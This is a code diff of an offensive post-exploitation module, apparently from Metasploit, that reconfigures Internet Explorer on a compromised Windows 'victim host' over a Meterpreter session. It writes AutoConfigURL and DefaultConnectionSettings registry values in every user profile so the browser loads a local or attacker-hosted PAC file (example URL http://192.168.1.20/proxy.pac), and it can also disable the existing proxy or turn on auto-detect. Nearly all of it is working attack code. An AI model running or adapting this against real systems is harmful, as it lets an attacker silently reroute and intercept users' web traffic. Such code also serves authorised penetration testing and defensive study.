@@ -13,48 +13,74 @@ def initialize(info={})
13
13
super ( update_info ( info ,
14
14
'Name' => 'Windows Manage Proxy PAC File' ,
15
15
'Description' => %q{
16
- This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
17
- option a PAC file will be created in the victim host. It's also possible to especify a
18
- remote PAC file (REMOTE_PAC option) by providing the full URL. Ej: http://192.168.1.20/proxy.pac
19
- } ,
16
+ This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
17
+ option, a PAC file will be created in the victim host. It's also possible to provide a
18
+ remote PAC file (REMOTE_PAC option) by providing the full URL.
19
+ } ,
20
20
'License' => MSF_LICENSE ,
21
21
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>' ] ,
22
22
'References' =>
23
- [
24
- [ 'URL' , 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ] ,
25
- [ 'URL' , 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
26
- ] ,
23
+ [
24
+ [ 'URL' , 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ] ,
25
+ [ 'URL' , 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
26
+ ] ,
27
27
'Platform' => [ 'windows' ] ,
28
28
'SessionTypes' => [ 'meterpreter' ]
29
29
) )
30
30
31
31
register_options (
32
32
[
33
- OptPath . new ( 'LOCAL_PAC' , [ false , 'Local PAC file.' ] ) ,
34
- OptString . new ( 'REMOTE_PAC' , [ false , 'Remote PAC file.' ] ) ,
35
- OptBool . new ( 'DISABLE_PROXY' , [ false , 'Disable the proxy server.' , false ] ) ,
36
- OptBool . new ( 'AUTO_DETECT' , [ false , 'Automatically detect settings.' , false ] )
33
+ OptPath . new ( 'LOCAL_PAC' , [ false , 'Local PAC file.' ] ) ,
34
+ OptString . new ( 'REMOTE_PAC' , [ false , 'Remote PAC file. (Ex: http://192.168.1.20/proxy.pac) ' ] ) ,
35
+ OptBool . new ( 'DISABLE_PROXY' , [ true , 'Disable the proxy server.' , false ] ) ,
36
+ OptBool . new ( 'AUTO_DETECT' , [ true , 'Automatically detect settings.' , false ] )
37
37
] , self . class )
38
38
end
39
39
40
40
def run
41
41
if datastore [ 'LOCAL_PAC' ] . blank? and datastore [ 'REMOTE_PAC' ] . blank?
42
- print_error ( "You must set a remote or local PAC file." )
42
+ print_error ( "You must set a remote or local PAC file. Aborting... " )
43
43
return
44
44
end
45
45
46
46
if datastore [ 'REMOTE_PAC' ]
47
47
@remote = true
48
- print_status ( "Setting a remote PAC file ..." )
49
- enable_proxypac ( datastore [ 'REMOTE_PAC' ] )
48
+ print_status ( "Setting automatic configuration script from a remote PAC file ..." )
49
+ res = enable_proxypac ( datastore [ 'REMOTE_PAC' ] )
50
+ unless res
51
+ print_error ( "Error while setting an automatic configuration script. Aborting..." )
52
+ return
53
+ end
50
54
else
51
- print_status ( "Setting a local PAC file ..." )
55
+ @remote = false
56
+ print_status ( "Setting automatic configuration script from local PAC file ..." )
52
57
pac_file = create_pac ( datastore [ 'LOCAL_PAC' ] )
53
- enable_proxypac ( pac_file ) if pac_file
58
+ unless pac_file
59
+ print_error ( "There were problems creating the PAC proxy file. Aborting..." )
60
+ return
61
+ end
62
+ res = enable_proxypac ( pac_file )
63
+ unless res
64
+ print_error ( "Error while setting an automatic configuration script. Aborting..." )
65
+ return
66
+ end
54
67
end
55
68
56
- auto_detect_on if datastore [ 'AUTO_DETECT' ]
57
- disable_proxy if datastore [ 'DISABLE_PROXY' ]
69
+ print_good ( "Automatic configuration script configured..." )
70
+
71
+ if datastore [ 'AUTO_DETECT' ]
72
+ print_status ( "Enabling Automatically Detect Settings..." )
73
+ unless auto_detect_on
74
+ print_error ( "Failed to enable Automatically Detect Settings. Proceeding anyway..." )
75
+ end
76
+ end
77
+
78
+ if datastore [ 'DISABLE_PROXY' ]
79
+ print_status ( "Disabling the Proxy Server..." )
80
+ unless disable_proxy
81
+ print_error ( "Failed to disable Proxy Server. Proceeding anyway..." )
82
+ end
83
+ end
58
84
end
59
85
60
86
def create_pac ( local_pac )
@@ -69,65 +95,103 @@ def create_pac(local_pac)
69
95
end
70
96
71
97
if write_file ( pac_file , conf_pac )
72
- print_good ( "PAC proxy configuration file written to #{ pac_file } " )
98
+ print_status ( "PAC proxy configuration file written to #{ pac_file } " )
73
99
return pac_file
74
100
else
75
- print_error ( "There were problems creating the PAC proxy file." )
76
101
return false
77
102
end
103
+
78
104
end
79
105
80
106
def enable_proxypac ( pac )
107
+ proxy_pac_enabled = false
108
+
81
109
registry_enumkeys ( 'HKU' ) . each do |k |
82
110
next unless k . include? "S-1-5-21"
83
111
next if k . include? "_Classes"
112
+
84
113
key = "HKEY_USERS\\ #{ k } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Internet\ Settings"
85
114
value_auto = "AutoConfigURL"
86
115
file = ( @remote ) ? "#{ pac } " : "file://#{ pac } "
116
+
87
117
begin
88
- registry_setvaldata ( key , value_auto , file , "REG_SZ" )
89
- rescue RuntimeError
118
+ res = registry_setvaldata ( key , value_auto , file , "REG_SZ" )
119
+ rescue :: RuntimeError , Rex :: TimeoutError
90
120
next
91
121
end
92
- print_good ( "Proxy PAC enabled." ) if change_connection ( 16 , '05' , key + '\\Connections' )
122
+
123
+ if res . nil? # Rex::Post::Meterpreter::RequestError
124
+ next
125
+ end
126
+
127
+ if change_connection ( 16 , '05' , key + '\\Connections' )
128
+ proxy_pac_enabled = true
129
+ end
130
+ end
131
+
132
+ if proxy_pac_enabled
133
+ return true
134
+ else
135
+ return false
93
136
end
94
137
end
95
138
96
- def auto_detect_on ( )
139
+ def auto_detect_on
140
+ auto_detect_enabled = false
141
+
97
142
registry_enumkeys ( 'HKU' ) . each do |k |
98
143
next unless k . include? "S-1-5-21"
99
144
next if k . include? "_Classes"
100
145
key = "HKEY_USERS\\ #{ k } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Internet\ Settings\\ Connections"
101
- print_good ( "Automatically Detect Settings on." ) if change_connection ( 16 , '0D' , key )
146
+ if change_connection ( 16 , '0D' , key )
147
+ print_good ( "Automatically Detect Settings on." )
148
+ auto_detect_enabled = true
149
+ end
150
+ end
151
+
152
+ if auto_detect_enabled
153
+ return true
154
+ else
155
+ return false
102
156
end
103
157
end
104
158
105
- def disable_proxy ( )
159
+ def disable_proxy
106
160
value_enable = "ProxyEnable"
107
161
profile = false
162
+
108
163
registry_enumkeys ( 'HKU' ) . each do |k |
109
164
next unless k . include? "S-1-5-21"
110
165
next if k . include? "_Classes"
111
166
key = "HKEY_USERS\\ #{ k } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Internet\ Settings"
112
167
begin
113
168
registry_setvaldata ( key , value_enable , 0 , "REG_DWORD" )
114
169
profile = true
115
- rescue RuntimeError
170
+ rescue :: RuntimeError , Rex :: TimeoutError
116
171
next
117
172
end
118
173
end
119
- print_good ( "Proxy disable." ) if profile
174
+
175
+ if profile
176
+ print_good ( "Proxy disabled." )
177
+ return true
178
+ else
179
+ return false
180
+ end
120
181
end
121
182
122
- def change_connection ( offset , value , key )
183
+ def change_connection ( offset , value , key )
123
184
value_default = "DefaultConnectionSettings"
124
185
begin
125
- value_con = registry_getvaldata ( key , value_default )
186
+ value_con = registry_getvaldata ( key , value_default )
126
187
binary_data = value_con . unpack ( 'H*' ) [ 0 ]
127
188
binary_data [ offset , 2 ] = value
128
- registry_setvaldata ( key , value_default , [ "%x" % binary_data . to_i ( 16 ) ] . pack ( "H*" ) , "REG_BINARY" )
129
- rescue RuntimeError
189
+ registry_setvaldata ( key , value_default , [ "%x" % binary_data . to_i ( 16 ) ] . pack ( "H*" ) , "REG_BINARY" )
190
+ rescue :: RuntimeError , Rex :: TimeoutError
130
191
return false
131
192
end
193
+
194
+ return true
132
195
end
196
+
133
197
end
0 commit comments